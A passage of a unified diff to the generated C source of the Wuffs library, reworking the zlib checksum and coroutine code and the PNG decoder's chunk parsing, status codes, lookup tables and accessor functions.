io0_a_dst)); -- } -- if (wuffs_base__status__is_ok(&v_status)) { -- break; -- } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -- } -- if ( ! self->private_impl.f_quirks[0u]) { -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -- uint32_t t_3; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -- iop_a_src += 4; -- } else { -- self->private_data.s_do_transform_io[0].scratch = 0; -+ { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -+ uint32_t t_4; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_4 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_pass.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_pass.scratch; -+ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; -+ if (num_bits_4 == 24) { -+ t_4 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_4 += 8u; -+ *scratch |= ((uint64_t)(num_bits_4)) << 56; - } -- uint64_t* scratch = &self->private_data.s_do_transform_io[0].scratch; -- uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); -- if (num_bits_3 == 24) { -- t_3 = ((uint32_t)(*scratch >> 32)); -- break; -+ } -+ self->private_impl.f_chunk_type = t_4; -+ } -+ if (self->private_impl.f_chunk_type_array[0u] == 73u) { -+ if (self->private_impl.f_chunk_type != 1413563465u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ if ( ! self->private_impl.f_ignore_checksum) { -+ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, -+ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -+ wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); -+ } -+ } else { -+ if ((self->private_impl.f_chunk_type != 1413571686u) || (self->private_impl.f_chunk_length < 4u)) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ self->private_impl.f_chunk_length -= 4u; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ uint32_t t_5; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_5 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_pass.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_pass.scratch; -+ uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); -+ if (num_bits_5 == 24) { -+ t_5 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_5 += 8u; -+ *scratch |= ((uint64_t)(num_bits_5)); -+ } - } -- num_bits_3 += 8u; -- *scratch |= ((uint64_t)(num_bits_3)); -+ v_seq_num = t_5; -+ } -+ if (v_seq_num != self->private_impl.f_next_animation_seq_num) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); -+ goto exit; -+ } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { -+ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); -+ goto exit; - } -+ self->private_impl.f_next_animation_seq_num += 1u; - } -- v_checksum_want = t_3; -- } -- if ( ! self->private_impl.f_ignore_checksum && (v_checksum_got != v_checksum_want)) { -- status = wuffs_base__make_status(wuffs_zlib__error__bad_checksum); -+ continue; -+ } else if (((uint64_t)(io2_a_src - iop_a_src)) > 0u) { -+ status = wuffs_base__make_status(wuffs_png__error__internal_error_zlib_decoder_did_not_exhaust_its_input); - goto exit; - } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); -+ } -+ if (self->private_impl.f_workbuf_wi != self->private_impl.f_pass_workbuf_length) { -+ status = wuffs_base__make_status(wuffs_base__error__not_enough_data); -+ goto exit; -+ } else if (0u < ((uint64_t)(a_workbuf.len))) { -+ if (a_workbuf.ptr[0u] == 4u) { -+ a_workbuf.ptr[0u] = 1u; -+ } - } - - ok: -- self->private_impl.p_do_transform_io[0] = 0; -+ self->private_impl.p_decode_pass = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_do_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_do_transform_io[0].v_checksum_got = v_checksum_got; -+ self->private_impl.p_decode_pass = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - - goto exit; - exit: -- if (a_dst && a_dst->data.ptr) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } - if (a_src && a_src->data.ptr) { - a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -@@ -52440,2021 +66092,1710 @@ wuffs_zlib__decoder__do_transform_io( - return status; - } - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__ZLIB) -- --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__PNG) -- --// ---------------- Status Codes Implementations -- --const char wuffs_png__error__bad_animation_sequence_number[] = "#png: bad animation sequence number"; --const char wuffs_png__error__bad_checksum[] = "#png: bad checksum"; --const char wuffs_png__error__bad_chunk[] = "#png: bad chunk"; --const char wuffs_png__error__bad_filter[] = "#png: bad filter"; --const char wuffs_png__error__bad_header[] = "#png: bad header"; --const char wuffs_png__error__bad_text_chunk_not_latin_1[] = "#png: bad text chunk (not Latin-1)"; --const char wuffs_png__error__missing_palette[] = "#png: missing palette"; --const char wuffs_png__error__truncated_input[] = "#png: truncated input"; --const char wuffs_png__error__unsupported_cgbi_extension[] = "#png: unsupported CgBI extension"; --const char wuffs_png__error__unsupported_png_compression_method[] = "#png: unsupported PNG compression method"; --const char wuffs_png__error__unsupported_png_file[] = "#png: unsupported PNG file"; --const char wuffs_png__error__internal_error_inconsistent_i_o[] = "#png: internal error: inconsistent I/O"; --const char wuffs_png__error__internal_error_inconsistent_chunk_type[] = "#png: internal error: inconsistent chunk type"; --const char wuffs_png__error__internal_error_inconsistent_frame_bounds[] = "#png: internal error: inconsistent frame bounds"; --const char wuffs_png__error__internal_error_inconsistent_workbuf_length[] = "#png: internal error: inconsistent workbuf length"; --const char wuffs_png__error__internal_error_zlib_decoder_did_not_exhaust_its_input[] = "#png: internal error: zlib decoder did not exhaust its input"; -- --// ---------------- Private Consts -- --#define WUFFS_PNG__ANCILLARY_BIT 32 -- --static const uint8_t --WUFFS_PNG__INTERLACING[8][6] WUFFS_BASE__POTENTIALLY_UNUSED = { -- { -- 0, 0, 0, 0, 0, 0, -- }, { -- 3, 7, 0, 3, 7, 0, -- }, { -- 3, 3, 4, 3, 7, 0, -- }, { -- 2, 3, 0, 3, 3, 4, -- }, { -- 2, 1, 2, 2, 3, 0, -- }, { -- 1, 1, 0, 2, 1, 2, -- }, { -- 1, 0, 1, 1, 1, 0, -- }, { -- 0, 0, 0, 1, 0, 1, -- }, --}; -- --static const uint8_t --WUFFS_PNG__LOW_BIT_DEPTH_MULTIPLIERS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 0, 255, 85, 0, 17, 0, 0, 0, --}; -- --static const uint8_t --WUFFS_PNG__LOW_BIT_DEPTH_NUM_PACKS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 0, 8, 4, 0, 2, 0, 0, 0, --}; -- --static const uint8_t --WUFFS_PNG__NUM_CHANNELS[8] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 1, 0, 3, 1, 2, 0, 4, 0, --}; -- --static const uint16_t --WUFFS_PNG__LATIN_1[256] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 32, 33, 34, 35, 36, 37, 38, 39, -- 40, 41, 42, 43, 44, 45, 46, 47, -- 48, 49, 50, 51, 52, 53, 54, 55, -- 56, 57, 58, 59, 60, 61, 62, 63, -- 64, 65, 66, 67, 68, 69, 70, 71, -- 72, 73, 74, 75, 76, 77, 78, 79, -- 80, 81, 82, 83, 84, 85, 86, 87, -- 88, 89, 90, 91, 92, 93, 94, 95, -- 96, 97, 98, 99, 100, 101, 102, 103, -- 104, 105, 106, 107, 108, 109, 110, 111, -- 112, 113, 114, 115, 116, 117, 118, 119, -- 120, 121, 122, 123, 124, 125, 126, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 0, 0, 0, 0, 0, 0, 0, -- 0, 41410, 41666, 41922, 42178, 42434, 42690, 42946, -- 43202, 43458, 43714, 43970, 44226, 44482, 44738, 44994, -- 45250, 45506, 45762, 46018, 46274, 46530, 46786, 47042, -- 47298, 47554, 47810, 48066, 48322, 48578, 48834, 49090, -- 32963, 33219, 33475, 33731, 33987, 34243, 34499, 34755, -- 35011, 35267, 35523, 35779, 36035, 36291, 36547, 36803, -- 37059, 37315, 37571, 37827, 38083, 38339, 38595, 38851, -- 39107, 39363, 39619, 39875, 40131, 40387, 40643, 40899, -- 41155, 41411, 41667, 41923, 42179, 42435, 42691, 42947, -- 43203, 43459, 43715, 43971, 44227, 44483, 44739, 44995, -- 45251, 45507, 45763, 46019, 46275, 46531, 46787, 47043, -- 47299, 47555, 47811, 48067, 48323, 48579, 48835, 49091, --}; -- --// ---------------- Private Initializer Prototypes -- --// ---------------- Private Function Prototypes -- --#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_1_distance_4_arm_neon( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr); --#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) -- --#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_3_distance_4_arm_neon( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev); --#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) -- --#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_4_distance_3_arm_neon( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev); --#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) -- --#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_4_distance_4_arm_neon( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev); --#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_1( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_1__choosy_default( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_1_distance_3_fallback( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_1_distance_4_fallback( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_2( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_3( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_3__choosy_default( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_3_distance_3_fallback( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_3_distance_4_fallback( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_4( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_4__choosy_default( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_4_distance_3_fallback( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_4_distance_4_fallback( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev); -- --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_1_distance_4_x86_sse42( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr); --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_3_distance_4_x86_sse42( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev); --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_4_distance_3_x86_sse42( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev); --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__filter_4_distance_4_x86_sse42( -- wuffs_png__decoder* self, -- wuffs_base__slice_u8 a_curr, -- wuffs_base__slice_u8 a_prev); --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__do_decode_image_config( -- wuffs_png__decoder* self, -- wuffs_base__image_config* a_dst, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_ihdr( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__assign_filter_distance( -- wuffs_png__decoder* self); -- --WUFFS_BASE__GENERATED_C_CODE --static uint64_t --wuffs_png__decoder__calculate_bytes_per_row( -- const wuffs_png__decoder* self, -- uint32_t a_width); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_png__decoder__choose_filter_implementations( -- wuffs_png__decoder* self); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_other_chunk( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src, -- bool a_framy); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_actl( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src); -+// -------- func png.decoder.frame_dirty_rect - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_chrm( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src); -+WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 -+wuffs_png__decoder__frame_dirty_rect( -+ const wuffs_png__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_rect_ie_u32(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_rect_ie_u32(); -+ } - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_exif( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src); -+ return wuffs_base__utility__make_rect_ie_u32( -+ self->private_impl.f_frame_rect_x0, -+ self->private_impl.f_frame_rect_y0, -+ self->private_impl.f_frame_rect_x1, -+ self->private_impl.f_frame_rect_y1); -+} - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_fctl( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src); -+// -------- func png.decoder.num_animation_loops - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_gama( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src); -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_png__decoder__num_animation_loops( -+ const wuffs_png__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_iccp( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src); -+ return self->private_impl.f_num_animation_loops_value; -+} - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_plte( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src); -+// -------- func png.decoder.num_decoded_frame_configs - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_srgb( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src); -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_png__decoder__num_decoded_frame_configs( -+ const wuffs_png__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_trns( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src); -+ return ((uint64_t)(self->private_impl.f_num_decoded_frame_configs_value)); -+} - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__do_decode_frame_config( -- wuffs_png__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src); -+// -------- func png.decoder.num_decoded_frames - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__skip_frame( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src); -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_png__decoder__num_decoded_frames( -+ const wuffs_png__decoder* self) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__do_decode_frame( -- wuffs_png__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts); -+ return ((uint64_t)(self->private_impl.f_num_decoded_frames_value)); -+} - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__decode_pass( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf); -+// -------- func png.decoder.restart_frame - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__do_tell_me_more( -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_png__decoder__restart_frame( - wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_dst, -- wuffs_base__more_information* a_minfo, -- wuffs_base__io_buffer* a_src); -+ uint64_t a_index, -+ uint64_t a_io_position) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__filter_and_swizzle( -- wuffs_png__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__slice_u8 a_workbuf); -+ if (self->private_impl.f_call_sequence < 32u) { -+ return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ } else if ((a_index >= ((uint64_t)(self->private_impl.f_num_animation_frames_value))) || ((a_index == 0u) && (a_io_position != self->private_impl.f_first_config_io_position))) { -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ self->private_impl.f_call_sequence = 40u; -+ if (self->private_impl.f_interlace_pass >= 1u) { -+ self->private_impl.f_interlace_pass = 1u; -+ } -+ self->private_impl.f_frame_config_io_position = a_io_position; -+ self->private_impl.f_num_decoded_frame_configs_value = ((uint32_t)(a_index)); -+ self->private_impl.f_num_decoded_frames_value = self->private_impl.f_num_decoded_frame_configs_value; -+ return wuffs_base__make_status(NULL); -+} - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__filter_and_swizzle__choosy_default( -- wuffs_png__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__slice_u8 a_workbuf); -+// -------- func png.decoder.set_report_metadata - - WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_png__decoder__filter_and_swizzle_tricky( -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_png__decoder__set_report_metadata( - wuffs_png__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__slice_u8 a_workbuf); -- --// ---------------- VTables -+ uint32_t a_fourcc, -+ bool a_report) { -+ if (!self) { -+ return wuffs_base__make_empty_struct(); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_empty_struct(); -+ } - --const wuffs_base__image_decoder__func_ptrs --wuffs_png__decoder__func_ptrs_for__wuffs_base__image_decoder = { -- (wuffs_base__status(*)(void*, -- wuffs_base__pixel_buffer*, -- wuffs_base__io_buffer*, -- wuffs_base__pixel_blend, -- wuffs_base__slice_u8, -- wuffs_base__decode_frame_options*))(&wuffs_png__decoder__decode_frame), -- (wuffs_base__status(*)(void*, -- wuffs_base__frame_config*, -- wuffs_base__io_buffer*))(&wuffs_png__decoder__decode_frame_config), -- (wuffs_base__status(*)(void*, -- wuffs_base__image_config*, -- wuffs_base__io_buffer*))(&wuffs_png__decoder__decode_image_config), -- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_png__decoder__frame_dirty_rect), -- (uint64_t(*)(const void*, -- uint32_t))(&wuffs_png__decoder__get_quirk), -- (uint64_t(*)(const void*))(&wuffs_png__decoder__history_retain_length), -- (uint32_t(*)(const void*))(&wuffs_png__decoder__num_animation_loops), -- (uint64_t(*)(const void*))(&wuffs_png__decoder__num_decoded_frame_configs), -- (uint64_t(*)(const void*))(&wuffs_png__decoder__num_decoded_frames), -- (wuffs_base__status(*)(void*, -- uint64_t, -- uint64_t))(&wuffs_png__decoder__restart_frame), -- (wuffs_base__status(*)(void*, -- uint32_t, -- uint64_t))(&wuffs_png__decoder__set_quirk), -- (wuffs_base__empty_struct(*)(void*, -- uint32_t, -- bool))(&wuffs_png__decoder__set_report_metadata), -- (wuffs_base__status(*)(void*, -- wuffs_base__io_buffer*, -- wuffs_base__more_information*, -- wuffs_base__io_buffer*))(&wuffs_png__decoder__tell_me_more), -- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_png__decoder__workbuf_len), --}; -+ if (a_fourcc == 1128813133u) { -+ self->private_impl.f_report_metadata_chrm = a_report; -+ } else if (a_fourcc == 1163413830u) { -+ self->private_impl.f_report_metadata_exif = a_report; -+ } else if (a_fourcc == 1195461953u) { -+ self->private_impl.f_report_metadata_gama = a_report; -+ } else if (a_fourcc == 1229144912u) { -+ self->private_impl.f_report_metadata_iccp = a_report; -+ } else if (a_fourcc == 1263947808u) { -+ self->private_impl.f_report_metadata_kvp = a_report; -+ } else if (a_fourcc == 1397901122u) { -+ self->private_impl.f_report_metadata_srgb = a_report; -+ } -+ return wuffs_base__make_empty_struct(); -+} - --// ---------------- Initializer Implementations -+// -------- func png.decoder.tell_me_more - --wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_png__decoder__initialize( -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_png__decoder__tell_me_more( - wuffs_png__decoder* self, -- size_t sizeof_star_self, -- uint64_t wuffs_version, -- uint32_t options){ -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src) { - if (!self) { - return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -- if (sizeof(*self) != sizeof_star_self) { -- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); - } -- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); - } -- -- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -- // The whole point of this if-check is to detect an uninitialized *self. -- // We disable the warning on GCC. Clang-5.0 does not have this warning. --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" --#endif -- if (self->private_impl.magic != 0) { -- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -- } --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- } else { -- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -- memset(self, 0, sizeof(*self)); -- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -- } else { -- memset(&(self->private_impl), 0, sizeof(self->private_impl)); -- } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 4)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); - } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = 